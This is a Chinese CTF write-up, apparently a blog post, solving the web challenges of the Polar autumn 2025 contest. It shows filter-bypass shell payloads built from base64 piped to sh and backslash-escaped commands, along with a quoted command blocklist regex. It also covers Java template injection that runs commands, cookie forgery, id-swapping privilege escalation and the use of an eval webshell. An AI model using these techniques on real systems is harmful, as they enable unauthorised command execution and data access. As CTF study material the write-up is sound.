当前位置: 首页 > news >正文

2025_Polar秋季赛_web全解

Polar秋季赛-web

white-简

考点:

rceBase编码绕过倒是正常

关键认识到一个新的读文件的函数rev,逆向输出文件内容

给出一个终端进行命令执行

image-20250923142643557

一些字符,关键字被过滤

右侧白名单中存在echo,base,sh等命令

尝试拼接绕过

echo "bHMK" | base64 -d | sh

去掉引号能够执行成功

读取根目录文件即可

echo Y2F0IC9mbGFnLnBocAo= | base64 -d | sh

image-20250923142622069

duan@F0T0ne:~$ rev /flag
}galf_si_siht{galf

polar快递-中

考点:

垂直越权

初始页面是一个登录框,右上角有一个备忘录

看到敏感部分,权限说明

image-20250923143927958

里边甚至有api接口说明

image-20250923144103129

底部找到默认账密

image-20250923144143393

登录普通用户,发现当前路由为polaruser,改为admin或许能够越权

而且请求id为user,这里一定可以修改

image-20250923144308646

改为admin不行,根据权限说明,改为root成功

image-20250923144503543

直接将id改为root也能请求成功

image-20250923144710984

狗黑子的舔狗日记-中

考点:

常规渗透,但是环境搭建的很有趣。特别是最后问名字时

真实场景还原,发现存在读取文件的参数

image-20250923144854221

尝试进行伪协议读取,读取index.php

发现三个页面文件

define('PAGE_WECHAT', 'xiaoxi.php');
define('PAGE_MOMENTS', 'pengyouquan.php');
define('PAGE_PROFILE', 'wode.php');

找到flag字段

image-20250923145409031

解码结果如下:

flag{女神的名字md5加密}
tips  女神微信号:nvshen

在个人主页存在退出功能,可以登录flag给的账号

image-20250923145554978

扫描目录发现信息,flag.php没用,www下来一个字典,应该是用来爆破密码的

image-20250923145656035

筛选http头相似度中找到异常响应,nvshen.php

image-20250923150303033

在src后改为nvshen.php,或者使用nvshen345密码登录进去

image-20250923150616288

真抽象,进去了,问问舔狗

flag{女神的名字md5加密}
tips  女神微信号:nvshen

把柳茹烟md5后交上去对了

aa1e3ea993e122de5de6e387db6c8609

不得不说这题出题人真是有心了

Squirtle的论坛-中

初始页面给的信息刚开始没看懂

image-20250923151406391

直接扫目录

image-20250923151439065

upload,src和admin

只有admin有回显,提示权限不够,似乎存在权限校验

欢迎大家,这里的user可以是任何人,但master只能是Squirtle!!!

尝试伪造Cookie登录

master=Squirtle

image-20250923151720087

成功登录,尝试文件上传

image-20250923153115202

点击文件直接跳转,rce即可

image-20250923155536926

PolarCMS-中

初始页面是一个登录框

密码处有提示

image-20250926194044034

输入admin密码<直接就进去了

尝试进行文件上传,但文件都被当做文本文件

tip:试试java文本框

java搭建的,纯java构建,能够创建新的页面

image-20250926194342924

在模版页面尝试进行java的模版注入${exec("ls")}成功执行

image-20250926195323062

${exec("ls")}

Dockerfile
com
data
pages
polar-cms.tar
src
static

${exec("cat Dockerfile")}

dockerfile

# 使用单一阶段构建,减少复杂度
FROM openjdk:17-slimWORKDIR /app# 复制所有文件
COPY . .# 创建必要的目录
RUN mkdir -p data static/uploads# 编译 Java 代码
RUN javac -d . src/com/polar/cms/*.java# 设置权限
RUN chmod 777 static/uploads# 在根目录创建 flag 文件
RUN echo "flag{2c97920bc4798a23da9ae504f2e05f3b}" > /flag && \chmod 644 /flag# 暴露端口
EXPOSE 8080# 运行应用
CMD ["java", "com.polar.cms.PolarCmsServer"]

狗黑子的eval-困

初始页面没有信息

image-20250921205425121

扫目录找到flag.php和shell.php

这样的话,flag.php给的应该是提示我们获取已经写好的木马文件的key,进而去连接shell.php就行

<body>
<!--payload.php 狗黑子数数喜欢从1开始,不喜欢0 -->tips:gouheizigouheizi=2gouheizi</body>
</html>

给了三个提示,先访问payload.php

<?php 
highlight_file(__FILE__);
//gou=a,gougou=b;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
$gou7="c3Rnbw==";
$gou8='5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';
$gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51};$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
?>

利用其他两个提示将$gou变量进行拆分解密

<?php 
highlight_file(__FILE__);
//gou=a,gougou=b;
// 1gou=a.2gou=b.3gou=c.4gou=d.5gou=e.6gou=f;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
// 12gou=l,16gou=p,5gou=e,15gou=o,22gou=v,15gou=o
// gou1=l,gou5=p,gou4=e,gou3=o,gou2=v,gou6=a
$gou7="c3Rnbw==";
// 解码为stgo
// 提示不是从零开始的,前边加一个字符
$gou8='a5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';
// 将所有{}改为[]以适应PHP 7.4+版本
$gou13=$gou8[34];$gou17=$gou8[10];$gou12=$gou8[15];$gou10=$gou8[105];$gou14=$gou12;$gou11=$gou8[51];
// gou13=5,gou17=7,gou12=8,gou10=0,gou14=8,gou11=3
$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
// $a=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3;
// $a=evalpo
$b=$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
echo "evalpostgo".$b;
?>
evalpostgoubaizieval post goubaizi

我的结果中是大写的Z不知道为什么

显然就是一句话木马的内容

image-20250921210755208

我的蚁剑连不上,直接RCE

image-20250921210820376

无回显,重定向输出

image-20250921210944162

但是常见位置没有找到flag

image-20250921211037891

使用我先前习惯的find查找没有成功

image-20250921211713153

由于当前目录匹配成功所以就没有查找其他目录,导致结果很少,没有得到预想的结果

find / -name "*flag*" 2>/dev/null

image-20250921211932933

清晰全面

老刘的小店-困

登录进去后东西都买不起,看到转账功能

image-20250926202245047

查看源码,特地提醒是在前端做了校验,抓包即可绕过

image-20250926202516170

新建账号,进行转账,抓包修改

image-20250926202640122

另一个账号已经收到

image-20250926202742645

前端获取信息

image-20250926203100081

<!-- if (isset($_GET['id'])) {
$id=$_GET['id'];if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) {$output = '你想干什么?';}else{system($id);}
} -->

使用转义字符绕过

image-20250926203807387

看似过滤了转义符,但直接l\s可以使用

详情可查看下边师傅博客

关于转义符 \ 在php正则中的匹配问题

image-20250926204013744

狗黑子的登录-困

初始登录框,正常扫目录

image-20250926204654337

git泄露,dumpall获取两个php

image-20250926204802272

index.php中存在注册功能

image-20250926205326444

账密相同,注册成功

image-20250926205407069

初始页面同样没有内容

image-20250926205623443

seclients_can_upload=1

出现上传页面,抓包,制作一个大于200kb的图片马上传即可

ZGZH-困

初始化界面要求提交序列化的user数据

image-20250926211521290

序列化后提交

image-20250926212551312

修改文件名

image-20250926212618414

修改为flag.php,在线有点问题手动改一下

image-20250926212652668

去pass.php文件查看

image-20250926212730171

要求还是比较复杂的

image-20250926212831472

根据提示是对857进行一个弱比较

弱比较后还是857

要有大小写和标点

科学计数法中有符合条件的

857.0E+00000000

image-20250926215410860

http://www.hskmm.com/?act=detail&tid=18360

相关文章:

  • QT:如何初始化窗体尺寸大小
  • 题2
  • linux命令-rm
  • 2025.9.26
  • 基于Amazon S3设置AWS Transfer Family Web 应用程序 - 实践
  • 作为 PHP 开发者,我第一次用 Go 写了个桌面应用
  • JBoltAI智能出题助手:助力高效学习与知识巩固 - 那年-冬季
  • JBoltAI设备智能检测:为设备管理维护提供高效辅助 - 那年-冬季
  • JBoltAI:Java与AI的完美融合,赋能技术团队新未来 - 那年-冬季
  • AIGS与AIGC:人工智能时代的范式跃迁与价值重构 - 那年-冬季
  • 5
  • ?模拟赛(3) 赛后总结
  • 用鼠标滚轮缩放原理图界面的小工具
  • 实验任务1
  • OI界的梗(继 @CCCsuper 2.0 版本)
  • 9/26
  • Python 私有属性深度解析
  • 菜鸟记录:c语言实现洛谷P1219 ———八皇后
  • 当危机爆发时,所有网络安全都是本地的
  • crc校验原理是什么?
  • CF1385D a-Good String
  • 9月23日(日记里有)
  • 9月25日(日记里有)
  • Git 提交代码前,一定要做的两件事
  • 本地调试接口时遇到的跨域问题,十分钟解决
  • 用 Excel 快速处理接口返回的 JSON 数据
  • 调度的基本概念
  • Overleaf项目文件同步工具: olsync
  • CF1995D Cases
  • 日志| 编辑距离 | 最长有效括号 |